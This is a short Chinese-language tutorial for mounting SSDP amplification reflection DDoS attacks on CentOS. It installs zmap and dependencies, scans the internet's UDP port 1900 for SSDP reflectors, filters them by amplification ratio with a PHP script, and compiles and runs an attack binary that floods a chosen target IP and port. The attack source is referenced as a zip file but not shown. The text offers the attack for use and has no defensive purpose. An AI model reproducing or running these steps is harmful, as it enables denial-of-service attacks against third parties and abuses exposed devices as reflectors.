SSDP放大反射攻击扫描教程,放大列表扫描教程!
我用的是centos 64位
先更新系统
yum -y update
区分centos6 centos7 执行不同的命令!
Centos 6
wget http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
sudo rpm -Uvh epel-release-6-8.noarch.rpm
centos 7
wget http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-5.noarch.rpm
sudo rpm -Uvh epel-release-7-5.noarch.rpm
安装必要的依赖环境!
yum -y install gcc libcap libpcap libpcap-devel screen php dstat cmake gmp gmp-devel gengetopt byacc flex git json-c cpan vnstat zmap
上传这里的文件到你的机器!
SSDP.zip
开始扫描SSDP放大列表
screen zmap -M udp -p 1900 --probe-args=file:upnp_1900.pkt -o ssdp.txt
等扫描完成后,我们开始执行过滤!
php ssdpfilter.php ssdp.txt ssdpfiltered.txt 200 1000
然后,编译我们的攻击脚本,
gcc -pthread ssdp.c -o ssdp
./ssdp <target IP> <target port> <reflection file> <time (optional)>